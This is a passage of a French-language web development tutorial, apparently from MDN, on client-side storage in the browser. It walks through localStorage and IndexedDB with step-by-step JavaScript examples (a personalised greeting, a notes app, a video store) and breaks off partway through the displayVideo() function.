Certains navigateurs modernes prennent en charge la nouvelle API {{domxref("Cache")}}. Cette API a été conçue pour stocker les réponses HTTP de requêtes données et est très utile pour stocker des ressources du site afin qu'il soit accessible sans connexion réseau par exemple. Le cache est généralement utilisé avec l'API Service Worker, mais ce n'est pas obligatoire.

- -

L'utilisation du Cache et des Service Workers est un sujet avancé, nous ne le traiterons pas en détail dans cet article, nous ne montrerons qu'un simple exemple dans la section {{anch("Stockage hors-ligne de ressources")}} plus bas.

- -

Stocker des données simples — web storage

- -

L'API Web Storage est très facile à utiliser — on stocke une simple paire clé/valeur de données (limité aux données scalaires) et on les récupére au besoin.

- -

Syntaxe basique

- -

Nous allons vous guider pas à pas :

- -
    -
  1. -

    Tout d'abord, ouvez notre template vide de web storage sur GitHub dans un nouvel onglet.

    -
    2. -
  2. -

    Ouvrez la console JavaScript de votre navigateur.

    -
    3. -
  3. -

    Toutes les données du web storage sont contenues dans deux structures de type objet : {{domxref("Window.sessionStorage", "sessionStorage")}} et {{domxref("Window.localStorage", "localStorage")}}. Le premier conserve les données aussi longtemps que le navigateur est ouvert (elles sont perdues lorsque le navigateur est fermé) et le second conserve les données même après que le navigateur ait été fermé puis ré-ouvert. Nous allons utiliser le second dans cet article car il est généralement plus utile.

    - -

    La méthode {{domxref("Storage.setItem()")}} permet de sauvegarder des données dans le storage — elle prend deux paramètres : le nom de l'entrée à enregistrer et sa valeur. Essayez de taper ce qui suit dans votre console JavaScript (changez le nom et la valeur si vous le voulez !) :

    - - 
    localStorage.setItem('name','Chris');
    -
    4. -
  4. -

    La méthode {{domxref("Storage.getItem()")}} prend un paramètre — le nom de l'entrée que vous voulez récupérer — et retourne la valeur de l'entrée. Maintenant, tapez ces lignes dans votre console JavaScript :

    - - 
    var myName = localStorage.getItem('name');
-myName
    - -

    En tapant la deuxième ligne, vous devriez voir que la variable myName contient la valeur de l'entrée name.

    -
    5. -
  5. -

    La méthode {{domxref("Storage.removeItem()")}} prend un paramètre — le nom de l'entrée de vous voulez supprimer — et supprime l'entrée du web storage. Tapez les lignes suivantes dans votre console JavaScript :

    - - 
    localStorage.removeItem('name');
-var myName = localStorage.getItem('name');
-myName
    - -

    La troisième ligne devrait maintenant retourner null — l'entrée name n'existe plus dans le web storage.

    -
    6. -
- -

Les données persistent !

- -

Une caractéristique clé du web storage est que les données persistent entre les différents chargements de page (et même lorsque le navigateur est arrêté dans le cas du localStorage). Regardons ça en action :

- -
    -
  1. -

    Ouvrez notre template vide une fois de plus, mais cette fois dans un navigateur différent de celui dans lequel vous avez ouvert ce tutoriel. Cela rendra la suite plus facile.

    -
    2. -
  2. -

    Tapez ces lignes dans la console JavaScript du navigateur que vous venez d'ouvrir :

    - - 
    localStorage.setItem('name','Chris');
-var myName = localStorage.getItem('name');
-myName
    - -

    Vous devriez voir que l'entrée name est bien là.

    -
    3. -
  3. -

    Maintenant, fermez le navigateur et ouvrez-le de nouveau.

    -
    4. -
  4. -

    Entrez les lignes suivantes :

    - - 
    var myName = localStorage.getItem('name');
-myName
    - -

    Vous devriez voir que la valeur est toujours accessible, quand bien même le navigateur a été redémarré.

    -
    5. -
- -

Stockage séparé pour chaque domaine

- -

Il existe un système de stockage distinct pour chaque domaine (chaque adresse web chargée dans le navigateur a accès à son propre storage et pas aux autres). Vous verrez que si vous chargez deux sites web (disons google.com et amazon.com) et essayez de stocker un élément, il ne sera pas disponible sur l'autre site.

- -

C'est plutôt logique — imaginez les problèmes de sécurité qui se poseraient si les sites web pouvaient voir les données d'un autre !

- -

Un exemple plus impliqué

- -

Appliquons cette nouvelle connaissance pour écrire un exemple, cela vous donnera une idée de la façon dont le web storage peut être utilisé. Notre exemple permettra d'envoyer un nom, à la suite de quoi la page sera mise à jour pour donner un accueil personnalisé. Cet état persistera également après un rechargement de la page ou redémarrage du navigateur, puisqu'il sera stocké dans le web storage.

- -

Le HTML de l'exemple est disponible à personal-greeting.html — il s'agit d'un site web très simple avec entête, contenu et pied de page, ainsi qu'un formulaire pour entrer votre nom.

- -

- -

Nous allons construire cet exemple pas à pas, cela vous permettra de comprendre comment ça marche.

- -
    -
  1. -

    D'abord, copiez notre fichier personal-greeting.html dans un nouveau répertoire sur votre ordinateur.

    -
    2. -
  2. -

    Ensuite, créez un fichier index.js dans le même répertoire que le fichier HTML — le fichier HTML inclut ce script (voir ligne 40).

    -
    3. -
  3. -

    Nous allons commencer par récupérer les références de tous les éléments HTML qu'on manipulera dans cet exemple — nous les créons en tant que constantes car ces références n'ont pas besoin d'être modifiées au cours de l'exécution de l'application. Ajoutez les lignes suivantes à votre fichier JavaScript:

    - - 
    // créer les constantes nécessaires
-const rememberDiv = document.querySelector('.remember');
-const forgetDiv = document.querySelector('.forget');
-const form = document.querySelector('form');
-const nameInput = document.querySelector('#entername');
-const submitBtn = document.querySelector('#submitname');
-const forgetBtn = document.querySelector('#forgetname');
-
-const h1 = document.querySelector('h1');
-const personalGreeting = document.querySelector('.personal-greeting');
    -
    4. -
  4. -

    Ensuite, on doit ajouter un gestionnaire d'événement pour empêcher le formulaire d'être véritablement soumis lorsque le bouton de soumission est cliqué, puisque ce n'est pas le comportement que l'on veut. Ajoutez le bout de code suivant à la suite de du code précédent :

    - - 
    // Empêcher le form d'être soumis
-form.addEventListener('submit', function(e) {
-  e.preventDefault();
-});
    -
    5. -
  5. -

    Maintenant, on doit ajouter un gestionnaire d'événement pour gérer le clic sur le bouton "Say hello" (dire bonjour). Les commentaires expliquent ce que chaque instruction fait, mais, en substance, on prend le nom que l'utilisateur a entré dans le champs texte et on l'enregistre dans le web storage avec setItem(). Ensuite, on exécute une fonction appelée nameDisplayCheck() qui se charge de mettre à jour le contenu du site web. Ajoutez ceci au bas de votre code :

    - - 
    // exécuter la fonction quand le bouton 'Say hello' est cliqué
-submitBtn.addEventListener('click', function() {
-  // stocker le nom entré dans le web storage
-  localStorage.setItem('name', nameInput.value);
-  // exécuter nameDisplayCheck() pour afficher la
-  // page personnalisée et changer le formulaire
-  nameDisplayCheck();
-});
    -
    6. -
  6. -

    On doit maintenant gérer l'événement lorsque le bouton "Forget" (oublier) est cliqué — il est affiché une fois que le bouton "Say hello" a été cliqué (les deux boutons permettent de basculer d'un état à l'autre). Dans cette fonction, on supprime l'élément name du web storage en utilisant removeItem(), puis on exécute nameDisplayCheck() pour mettre à jour l'affichage. Ajoutez ceci au bas de votre code :

    - - 
    // exécuter la fonction quand le bouton 'Forget' est cliqué
-forgetBtn.addEventListener('click', function() {
-  // supprimer l'item name du web storage
-  localStorage.removeItem('name');
- // exécuter nameDisplayCheck() pour afficher la
- // page personnalisée et changer le formulaire
-  nameDisplayCheck();
-});
    -
    7. -
  7. -

    Il est maintenant temps de définir la fonction nameDisplayCheck() elle-même. Ici, on vérifie si l'élément name est stocké dans le web storage en utilisant localStorage.getItem('name') comme condition. S'il existe, la valeur retournée sera évaluée à true; sinon, comme false. S'il existe, on affiche un message d'accueil personnalisé et le bouton "Forget" du formulaire, tout en masquant le bouton "Say hello" du formulaire. Sinon, on affiche un message d'accueil générique et le bouton "Say hello". Encore une fois, mettez les lignes suivantes au bas de votre code :

    - - 
    // définit la fonction nameDisplayCheck()
-function nameDisplayCheck() {
-  // vérifie si l'élément 'name' est stocké dans le web storage
-  if(localStorage.getItem('name')) {
-    // Si c'est le cas, affiche un accueil personnalisé
-    let name = localStorage.getItem('name');
-    h1.textContent = 'Welcome, ' + name;
-    personalGreeting.textContent = 'Welcome to our website, ' + name + '! We hope you have fun while you are here.';
-    // cache la partie 'remember' du formulaire et affiche la partie 'forget'
-    forgetDiv.style.display = 'block';
-    rememberDiv.style.display = 'none';
-  } else {
-    // Sinon, affiche un accueil générique
-    h1.textContent = 'Welcome to our website ';
-    personalGreeting.textContent = 'Welcome to our website. We hope you have fun while you are here.';
-    // cache la partie 'forget' du formulaire et affiche la partie 'remember'
-    forgetDiv.style.display = 'none';
-    rememberDiv.style.display = 'block';
-  }
-}
    -
    8. -
  8. -

    Dernier point, mais non des moindres, on exécute la fonction nameDisplayCheck() à chaque fois que la page est chargée. Si on ne le faisait pas, l'accueil personnalisé ne serait pas affiché après qu'on ait rafraichit la page. Ajoutez ce qui suit au bas de votre code :

    - - 
    document.body.onload = nameDisplayCheck;
    -
    9. -
- -

Notre exemple est terminé — bien joué ! Il ne vous reste plus qu'à enregistrer votre code et tester votre page HTML dans un navigateur. Vous pouvez voir notre version terminée en direct ici (ou le code JavaScript terminé).

- -
-

Note : Vous pouvez trouver un exemple un peu plus complexe dans l'article Utiliser l'API de stockage web.

-
- -
-

Note : Dans la ligne <script src="index.js" defer></script> de notre version finie, l'attribut defer spécifie que le contenu de l'élément {{htmlelement("script")}} ne doit pas s'exécuter avant que la page ait fini de charger.

-
- -

Stocker des données complexes — IndexedDB

- -

L'API IndexedDB (parfois abrégé IDB) est un système de base de données complet disponible dans le navigateur. Vous pouvez y stocker des données complexes, les types ne sont pas limités à des valeurs simples de type chaînes ou nombres. Vous pouvez stocker des vidéos, des images et à peu près tout ce que vous voulez, dans une instance IndexedDB.

- -

Cependant, cela a un coût : IndexedDB est beaucoup plus complexe à utiliser que l'API Web Storage. Dans cette section, nous ne ferons qu'égratigner la surface de ce qu'IndexedDB peut faire, mais nous vous en donnerons assez pour débuter.

- -

Un exemple de stockage de notes

- -

Nous allons voir un exemple qui vous permettra de stocker des notes dans votre navigateur, les voir et les supprimer, quand vous le souhaitez. Vous apprendrez à le construire par vous-même au fur et à mesure des explications et cela vous permettra de comprendre les parties fondamentales d'IDB.

- -

L'application ressemble à ceci :

- -

- -

Chaque note a un titre et une description, chacun éditables individuellement. Le code JavaScript que nous allons voir ci-dessous contient des commentaires détaillés pour vous aider à comprendre ce qu'il se passe.

- -

Pour commencer

- -
    -
  1. Tout d'abord, copiez les fichiers index.html, style.css, et index-start.js dans un nouveau répertoire sur votre ordinateur.
    2. -
  2. Jetez un coup d'oeil aux fichiers. -
      -
    • Vous verrez que le HTML est assez simple : un site web avec une entête et un pied de page, ainsi qu'une zone de contenu principal contenant un emplacement pour afficher les notes et un formulaire pour en ajouter.
      • -
    • Le CSS fournit un style simple pour rendre plus clair ce qu'il se passe.
      • -
    • Le fichier JavaScript contient cinq constantes déclarées — des références à l'élément {{htmlelement("ul")}} dans lequel seront affichées les notes, les {{htmlelement("input")}} title et body, le {{htmlelement("form")}} lui-même, et un {{htmlelement("button")}}.
      • -
    -
    3. -
  3. Renommez votre fichier JavaScript en index.js. Vous êtes maintenant prêt pour y ajouter du code.
    4. -
- -

Configuration initiale de la base de données

- -

Voyons maintenant la première chose à faire, mettre en place la base de données.

- -
    -
  1. -

    À la suite des déclarations de constantes, ajoutez les lignes suivantes :

    - - 
    // Objet db pour stocker la BDD ouverte
-let db;
    - -

    Ici, on déclare une variable appelée db — on l'utilisera plus tard pour stocker un objet permettant d'accéder à la base de données. On l'utilisera à plusieurs endroits, on l'a donc déclaré globablement ici pour faciliter les choses.

    -
    2. -
  2. -

    Ensuite, ajoutez ce qui suit au bas de votre code :

    - - 
    window.onload = function() {
-
-};
    - -

    On écrira tout notre code dans le gestionnaire d'événement window.onload, appelé quand l'événement {{event("load")}} de la fenêtre est chargé, pour s'assurer qu'on n'essaiera pas d'utiliser IndexedDB avant que l'application ne soit complètement chargée (ça ne marcherait pas sinon).

    -
    3. -
  3. -

    À l'intérieur de window.onload, ajoutez ce qui suit :

    - - 
    // Ouvrir la BDD; elle sera créée si elle n'existe pas déjà
-// (voir onupgradeneeded)
-let request = window.indexedDB.open('notes', 1);
    - -

    Cette ligne crée une requête request pour ouvrir la version 1 de la base de données appelée notes. Si elle n'existe pas déjà, on devra la créer via un gestionnaire d'événement.

    - -

    Vous verrez très souvent ce format dans IndexedDB. Les opérations de base de données prennent du temps et on ne veut pas suspendre le navigateur le temps de récupérer le résultat, les opérations sur la base de données sont donc {{Glossary("asynchronous", "asynchrones")}} — ce qui signifie qu'au lieu d'arriver immédiatement, elles se produiront à un moment ultérieur et un événement sera déclenché lorsque cela arrivera.

    - -

    Pour gérer cela dans IndexedDB, on crée d'abord une requête (que vous pouvez appeler comme vous le voulez — on l'appelle request pour que ce soit plus explicite). On utilise ensuite des gestionnaire d'événement pour exécuter du code lorsque les requêtes sont terminées, échouent, etc, ce que l'on va voir ci-dessous.

    - -
    -

    Note : Le numéro de version est important. Si vous voulez mettre à jour votre base de données (par exemple, pour modifier la structure de la table), vous devez ré-exécuter votre code avec un numéro de version supérieur et spécifier le schéma de la base de données avec le gestionnaire d'événement onupgradeneeded. Nous ne verrons pas la mise à jour de base de données dans ce tutoriel.

    -
    -
    4. -
  4. -

    Maintenant, ajoutez les gestionnaires d'événement suivants, juste en dessous des lignes précédentes — toujours à l'intérieur de window.onload :

    - - 
    // la base de données n'a pas pu être ouverte avec succès
-request.onerror = function() {
-  console.log('Database failed to open');
-};
-
-// la base de données a été ouverte avec succès
-request.onsuccess = function() {
-  console.log('Database opened successfully');
-
-  // Stocke la base de données ouverte dans la variable db. On l'utilise par la suite
-  db = request.result;
-
-  // Exécute la fonction displayData() pour afficher les notes qui sont dans la BDD
-  displayData();
-};
    - -

    Le gestionnaire d'événement {{domxref("IDBRequest.onerror", "request.onerror")}} s'exécutera si la requête échoue. Cela vous permet de gérer le problème si cela arrive. Dans notre exemple, on affiche simplement un message dans la console JavaScript.

    - -

    Le gestionnare d'événement {{domxref("IDBRequest.onsuccess", "request.onsuccess")}}, d'autre part, s'exécutera si la requête aboutit, que la base de données a été ouverte avec succès. Lorsque cela arrive, la propriété {{domxref("IDBRequest.result", "request.result")}} contient alors un objet représentant la base de données ouverte, qui nous permet de la manipuler. On stocke cette valeur dans la variable db qu'on a crée plus tôt pour pouvoir l'utiliser ensuite. On exécute également une fonction appelée displayData(), qu'on définira plus tard — elle affiche les données de la base de données dans le {{HTMLElement("ul")}}. On l'exécute dès à présent pour que les notes en base de données soient affichées dès que la page est chargée.

    -
    5. -
  5. -

    Pour en finir avec cette section, on ajoute le gestionnaire d'événement qui est  probablement le plus important, {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. Il est exécuté si la base de données n'a pas déjà été créée ou si on veut ouvrir la base de données avec un numéro de version supérieur à celle qui existe (pour faire une mise à jour). Ajoutez le code suivant en dessous de votre gestionnaire précédent :

    - - 
    // Spécifie les tables de la BDD si ce n'est pas déjà pas fait
-request.onupgradeneeded = function(e) {
-  // Récupère une référence à la BDD ouverte
-  let db = e.target.result;
-
-  // Crée un objectStore pour stocker nos notes (une table)
-  // Avec un champ qui s'auto-incrémente comme clé
-  let objectStore = db.createObjectStore('notes', { keyPath: 'id', autoIncrement:true });
-
-  // Définit les champs que l'objectStore contient
-  objectStore.createIndex('title', 'title', { unique: false });
-  objectStore.createIndex('body', 'body', { unique: false });
-
-  console.log('Database setup complete');
-};
    - -

    C'est ici qu'on définit le schéma (la structure) de notre base de données; c'est à dire l'ensemble des champs (ou colonnes) qu'il contient.

    - -
      -
    1. -

      On récupère une référence à la base de données existante depuis e.target.result (la propriété result de la cible de l'événement, c'est à dire l'objet request). C'est l'équivalent de la ligne db = request.result; du gestionnaire d'événement onsuccess, mais on doit le faire de cette manière ici puisque le gestionnaire d'événement onupgradeneeded est exécuté avant onsuccess — la valeur de db n'est pas encore disponible.

      -
      2. -
    2. -

      Ensuite, on utilise {{domxref("IDBDatabase.createObjectStore()")}} pour créer un object store (un container pour une collection d'objets) à l'intérieur de notre base de données. C'est l'équivalent d'une table dans un système de base de données traditionnel. On lui a donné le nom notes, et un champs id avec autoIncrement — pour chaque nouvelle entrée dans cette table, une valeur auto-incrementée sera attributée au champ id sans que le développeur n'ait à le définir. Le champ id est la clé de l'object store: il sera utilisé pour identifier de manière unique les entrées, permettant de les mettre à jour ou les supprimer.

      -
      3. -
    3. -

      On crée deux autres index (champs) en utilisant la méthode {{domxref("IDBObjectStore.createIndex()")}}: title (qui contiendra le titre de chaque note), et body (qui contiendra la description de chaque note).

      -
      4. -
    -
    6. -
- -

Avec ce simple schéma de base de données en place, on va pouvoir ajouter des entrées à la base de données, des objets qui ressembleront à ça :

- -
{
-  title: "Acheter du lait",
-  body: "Lait de vache et de soja.",
-  id: 8
-}
- -

Ajouter des données à la base de données

- -

Maintenant, voyons comment ajouter des entrées dans la base de données. On le fera en utilisant le formulaire de notre page.

- -
    -
  1. -

    À la suite du gestionnaire d'événement précédent (mais toujours dans window.onload), ajoutez la ligne suivante — elle définit un gestionnaire d'événement onsubmit pour exécuter la fonction addData() quand le formulaire est soumis (que le {{htmlelement("button")}} envoyer est pressé et que les champs du formulaire sont valides) :

    - - 
    // Créer un gestionnaire onsubmit pour appeler la fonction addData() quand le formulaire est soumis
-form.onsubmit = addData;
    -
    2. -
  2. -

    Maintenant, définissons la fonction addData(). Ajoutez ce qui suit après la ligne précédente :

    - - 
    // Définit la fonction addData()
-function addData(e) {
-  // empêcher le formulaire d'être soumis vers le serveur
-  e.preventDefault();
-
-  // récupérer les valeurs entrées dans les champs du formulaire
-  // et les stocker dans un objet qui sera inséré en BDD
-  let newItem = { title: titleInput.value, body: bodyInput.value };
-
-  // ouvrir une transaction en lecture/écriture
-  let transaction = db.transaction(['notes'], 'readwrite');
-
-  // récupérer l'object store de la base de données qui a été ouvert avec la transaction
-  let objectStore = transaction.objectStore('notes');
-
-  // demander l'ajout de notre nouvel objet à l'object store
-  var request = objectStore.add(newItem);
-  request.onsuccess = function() {
-    // vider le formulaire, pour qu'il soit prêt pour un nouvel ajout
-    titleInput.value = '';
-    bodyInput.value = '';
-  };
-
-  // attendre la fin de la transaction, quand l'ajout a été effectué
-  transaction.oncomplete = function() {
-    console.log('Transaction completed: database modification finished.');
-
-    // mettre à jour l'affichage pour montrer le nouvel item en exécutant displayData()
-    displayData();
-  };
-
-  transaction.onerror = function() {
-    console.log('Transaction not opened due to error');
-  };
-}
    - -

    C'est assez complexe, voyons ça pas à pas :

    - -
      -
    1. -

      On exécute {{domxref("Event.preventDefault()")}} sur l'objet événement pour empêcher le formulaire d'être véritablement soumis (cela provoquerait une actualisation de la page et gâcherait l'expérience utilisateur).

      -
      2. -
    2. -

      On crée un objet représentant une entrée à ajouter dans la base de données, en le remplissant avec les valeurs des champs du formulaire. Notez qu'on n'a pas besoin d'inclure explicitement une valeur id — comme nous l'avons précédemment expliqué, il est auto-rempli.

      -
      3. -
    3. -

      On ouvre une transaction en lecture/écritre (readwrite) sur l'object store notes en utilisant la méthode {{domxref("IDBDatabase.transaction()")}}. Cet object transaction va nous permettre d'accéder à l'object store, pour ajouter une nouvelle entrée par exemple.

      -
      4. -
    4. -

      On récupère l'object store de la transaction avec la méthode {{domxref("IDBTransaction.objectStore()")}} et on le stocke dans la variable objectStore.

      -
      5. -
    5. -

      On ajoute un nouvel enregistrement à la base de données en utilisant {{domxref("IDBObjectStore.add()")}}. Cela crée une requête, sur le même principe qu'on a déjà vu.

      -
      6. -
    6. On ajoute des gestionnaires d'événement à request et transaction pour exécuter du code aux points importants de leur cycle de vie : -
        -
      • Quand la requête a réussit, on efface les champs du formulaire — pour pouvoir ajouter une nouvelle note
        • -
      • Quand la transaction est terminé, on réexécute la fonction displayData() — pour mettre à jour l'affichage de notes sur la page.
        • -
      -
      7. -
    -
    3. -
- -

Afficher les données

- -

Nous avons déjà appelé displayData() deux fois dans notre code, nous allons maintenant définir cette fonction. Ajoutez ce qui suit à votre code, en dessous de la définition de la fonction précédente :

- -
// Définit la fonction displayData()
-function displayData() {
-  // Vide le contenu de la liste à chaque fois qu'on la met à jour
-  // Si on ne le faisait pas, des duplicats seraient affichés à chaque ajout
-  while (list.firstChild) {
-    list.removeChild(list.firstChild);
-  }
-
-  // Ouvre l'object store puis récupère un curseur - qui va nous permettre d'itérer
-  // sur les entrées de l'object store
-  let objectStore = db.transaction('notes').objectStore('notes');
-  objectStore.openCursor().onsuccess = function(e) {
-    // Récupère une référence au curseur
-    let cursor = e.target.result;
-
-    // S'il reste des entrées sur lesquelles itérer, on exécute ce code
-    if(cursor) {
-      // Crée un li, h3, et p pour mettre les données de l'entrée puis les ajouter à la liste
-      let listItem = document.createElement('li');
-      let h3 = document.createElement('h3');
-      let para = document.createElement('p');
-
-      listItem.appendChild(h3);
-      listItem.appendChild(para);
-      list.appendChild(listItem);
-
-      // Récupère les données à partir du curseur et les met dans le h3 et p
-      h3.textContent = cursor.value.title;
-      para.textContent = cursor.value.body;
-
-      // Met l'ID de l'entrée dans un attribut du li, pour savoir à quelle entrée il correspond
-      // Ce sera utile plus tard pour pouvoir supprimer des entrées
-      listItem.setAttribute('data-note-id', cursor.value.id);
-
-      // Crée un bouton et le place dans le li
-      let deleteBtn = document.createElement('button');
-      listItem.appendChild(deleteBtn);
-      deleteBtn.textContent = 'Delete';
-
-      // Définit un gestionnaire d'événement pour appeler deleteItem() quand le bouton supprimer est cliqué
-      deleteBtn.onclick = deleteItem;
-
-      // Continue l'itération vers la prochaine entrée du curseur
-      cursor.continue();
-    } else {
-      // Si la liste est vide, affiche un message "Aucune note n'existe"
-      if(!list.firstChild) {
-        let listItem = document.createElement('li');
-        listItem.textContent = 'No notes stored.';
-        list.appendChild(listItem);
-      }
-      // Il n'y a plus d'entrées dans le curseur
-      console.log('Notes all displayed');
-    }
-  };
-}
- -

Encore une fois, pas à pas :

- -
    -
  1. -

    D'abord on vide le contenu de l'élément {{htmlelement("ul")}}, pour pouvoir le remplir avec le contenu mis à jour. Si on ne le faisait pas, on obtiendrait une énorme liste de contenus dupliqués à chaque mise à jour.

    -
    2. -
  2. -

    Ensuite, on récupère une référence à l'object store notes en utilisant {{domxref("IDBDatabase.transaction()")}} et {{domxref("IDBTransaction.objectStore()")}} comme nous l'avons fait dans addData(), mais en chaînant ces deux instructions en une seule ligne.

    -
    3. -
  3. -

    L'étape suivante consiste à utiliser la méthode {{domxref("IDBObjectStore.openCursor()")}} pour ouvrir un curseur — une construction qui peut être utilisée pour itérer sur les entrées d'un object store. On chaîne un gestionnaire d'événement onsuccess à la fin de cette opération pour rendre le code plus concis — dès que le curseur est récupéré, le gestionnaire est exécuté.

    -
    4. -
  4. -

    On récupère une référence au curseur lui-même (un objet {{domxref("IDBCursor")}}) avec cursor = e.target.result.

    -
    5. -
  5. -

    Ensuite, on vérifie si le curseur contient une entrée de l'object store (if(cursor){ ... }) — si c'est le cas, on crée des éléments du DOM, les remplit avec les données de l'entrée, et les insère dans la page (à l'intérieur de l'élément <ul>). On inclut un bouton de suppression, qui, quand il est cliqué, supprime l'entrée en cours en appelant la fonction deleteItem() — que nous allons voir dans la section suivante.

    -
    6. -
  6. -

    À la fin du bloc if, on utilise la méthode {{domxref("IDBCursor.continue()")}} pour avancer le curseur à la prochaine entrée dans l'object store et réexécuter le bloc. S'il reste une autre entrée sur laquelle itérer, elle sera à son tour insérée dans la page, continue() sera exécuté à nouveau, et ainsi de suite.

    -
    7. -
  7. -

    Quand il n'y a plus d'enregistrements à parcourir, le curseur retourne undefined, et le bloc else sera donc exécuté à la place. Ce bloc vérifie si des notes ont été insérées dans le <ul> — si ce n'est pas le cas, on insère un message indiquant qu'il n'existe aucune note.

    -
    8. -
- -

Supprimer une note

- -

Come nous avons vu ci-dessus, lorsque le bouton supprimer est cliqué, la note correspondante est supprimée. Cette action est réalisée par la fonction deleteItem(), que l'on définit ainsi :

- -
// Définit la fonction deleteItem()
-function deleteItem(e) {
-  // Récupère l'id de l'entrée que l'on veut supprimer
-  // On doit le convertir en nombre avant d'essayer de récupérer l'entrée correspondante dans IDB
-  // les clés sont sensibles à la casse
-  let noteId = Number(e.target.parentNode.getAttribute('data-note-id'));
-
-  // Ouvre une transaction et supprime la note ayant l'id récupéré ci-dessus
-  let transaction = db.transaction(['notes'], 'readwrite');
-  let objectStore = transaction.objectStore('notes');
-  let request = objectStore.delete(noteId);
-
-  // Indique à l'utilisateur que l'entrée a été supprimée
-  transaction.oncomplete = function() {
-    // supprime l'élément parent du bouton, le li
-    // pour qu'il ne soit plus affiché
-    e.target.parentNode.parentNode.removeChild(e.target.parentNode);
-    console.log('Note ' + noteId + ' deleted.');
-
-    // Si la liste est vide, affiche un message qui l'indique
-    if(!list.firstChild) {
-      let listItem = document.createElement('li');
-      listItem.textContent = 'No notes stored.';
-      list.appendChild(listItem);
-    }
-  };
-}
- - - -

Et voilà ! L'exemple devrait maintenant fonctionner.

- -
-

Note : Si vous rencontrez des difficultés, n'hésitez pas à consulter notre exemple en direct (ou voir le code source).

-
- -

Stocker des données complexes avec IndexedDB

- -

Comme nous l'avons mentionné auparavant, IndexedDB peut être utilisé pour stocker plus que de simples chaînes de caractères. On peut stocker à peu près tout ce qu'on veux, y compris des objets complexes tels que des vidéos ou des images. Et ce n'est pas plus difficilte à réaliser qu'avec n'importe quel autre type de données.

- -

Pour vous montrer comment le faire, nous avons écrit un autre exemple appelé IndexedDB video store (le voir en direct). Lorsque vous exécutez l'exemple pour la première fois, il télécharge des vidéos à partir du réseau, les stocke dans une base de données IndexedDB, puis affiche les vidéos dans des éléments {{htmlelement("video")}} de l'interface utilisateur. Les prochaines fois que vous l'exécutez, il récupère les vidéos de la base de données — cela rend les chargements suivants beaucoup plus rapides et moins gourmands en bande passante.

- -

Passons en revue les parties les plus intéressantes de l'exemple. Nous ne regarderons pas tout — une grande partie est similaire à l'exemple précédent, et le code est bien commenté.

- -
    -
  1. -

    Pour cet exemple, nous avons stocké le nom des vidéos à récupérer dans un tableau d'objets :

    - - 
    const videos = [
-  { 'name' : 'crystal' },
-  { 'name' : 'elf' },
-  { 'name' : 'frog' },
-  { 'name' : 'monster' },
-  { 'name' : 'pig' },
-  { 'name' : 'rabbit' }
-];
    -
    2. -
  2. -

    Pour commencer, une fois que la base de données a été ouverte, on exécute la fonction init(). Elle boucle sur les noms des vidéos et essaie de charger l'entrée correspondante dans la base de données videos.

    - -

    On peut facilement vérifier si une entrée a été trouvée en vérifiant si request.result est évalué à true — si l'entrée n'est pas présente, la valeur retournée est undefined.

    - -

    Les vidéos présentes en base de données (stockées sous formes de blobs), sont directement passées à la fonction displayVideo() pour les afficher dans l'interface utilisateur. Pour les vidéos non présentes, on appelle la fonction fetchVideoFromNetwork(), qui récupère la vidéo à partir du réseau.

    - - 
    function init() {
-  // Boucle sur les vidéos une par une
-  for(let i = 0; i < videos.length; i++) {
-    // Ouvre une transaction, récupère l'object store, et récupère chaque video par son nom
-    let objectStore = db.transaction('videos').objectStore('videos');
-    let request = objectStore.get(videos[i].name);
-    request.onsuccess = function() {
-      // Si l'entrée existe dans la BDD (le résultat n'est pas undefined)
-      if(request.result) {
-        // Affiche la vidéo en utilisant displayVideo()
-        console.log('taking videos from IDB');
-        displayVideo(request.result.mp4, request.result.webm, request.result.name);
-      } else {
-        // Récupère la vidéo à partir du réseau
-        fetchVideoFromNetwork(videos[i]);
-      }
-    };
-  }
-}
    -
    3. -
  3. -

    Le bout de code qui suit est extrait de la fonction fetchVideoFromNetwork() — ici, on récupère les versions MP4 et WebM de la vidéos en utilisant deux requêtes {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}} distinctes. On utilise ensuite la méthode {{domxref("blob()", "Body.blob()")}} pour extraire la réponse sous forme de blob, ce qui nous donne une représentation objet de la vidéo que l'on peut stocker et afficher plus tard.

    - -

    Il reste cependant un problème — ces deux requêtes sont asynchrones et ont veut afficher/stocker la vidéo uniquement lorsque les deux promesses sont résolues. Heureusement, il existe une méthode native qui gère ce problème — {{jsxref("Promise.all()")}}. Elle prend un argument — la liste de toutes les promesses qui doivent être attendues — et retourne elle-même une promesse. Quand toutes les promesses sont résolues, alors la promesse de la méthode all() est résolue, avec pour valeur un tableau contenant toutes les valeurs individuelles retournées par les promesses.

    - -

    À l'intérieur du bloc all(), vous pouvez voir qu'on appelle la fonction displayVideo(), comme on l'a fait précédemment, pour afficher les vidéos dans l'interface utilisateur, puis la fonction storeVideo() pour stocker ces vidéos dans la base de données.

    - - 
    let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response =>
-  response.blob()
-);
-let webmBlob = fetch('videos/' + video.name + '.webm').then(response =>
-  response.blob()
-);
-
-// Exécuter le bloc de code suivant lorsque les deux promesses sont résolues
-Promise.all([mp4Blob, webmBlob]).then(function(values) {
-  // Afficher la vidéo récupérée à partir du réseau avec displayVideo()
-  displayVideo(values[0], values[1], video.name);
-  // La stocker dans IDB avec storeVideo()
-  storeVideo(values[0], values[1], video.name);
-});
    -
    4. -
  4. -

    Regardons storeVideo() en premier. Cela ressemble beaucoup à ce qu'on a fait dans l'exemple précédent pour ajouter des données à la base de données — on ouvre une transaction en lecture/écriture et on récupère l'object store de videos, on crée un objet à ajouter à la base de données et on l'ajoute avec {{domxref("IDBObjectStore.add()")}}.

    - - 
    function storeVideo(mp4Blob, webmBlob, name) {
-  // Ouvre une transaction, récupère object store
-  let objectStore = db.transaction(['videos'], 'readwrite').objectStore('videos');
-  // Crée une entrée à ajouter à IDB
-  let record = {
-    mp4 : mp4Blob,
-    webm : webmBlob,
-    name : name
-  }
-
-  // Ajoute l'entrée à IDB avec add()
-  let request = objectStore.add(record);
-
-  ...
-
-};
    -
    5. -
  5. -

    Enfin, displayVideo() crée les éléments DOM nécessaires pour insérer la vidéo dans l'interface utilisateur, puis les ajoute à la page. Les parties les plus intéressantes sont copiées ci-dessous — pour afficher notre blob vidéo dans un élément <video>, on doit créer un objet URL (URL interne qui pointe vers un blob en mémoire) en utilisant la méthode {{domxref("URL.createObjectURL()")}}. Une fois que c'est fait, on peut assigner l'URL comme valeur d'attribut src de l'élément {{htmlelement("source")}}, et ça marche.

    - - 
    function displayVideo(mp4Blob, webmBlob, title) {
-  // Crée l'objet URL à partir du blob
-  let mp4URL = URL.createObjectURL(mp4Blob);
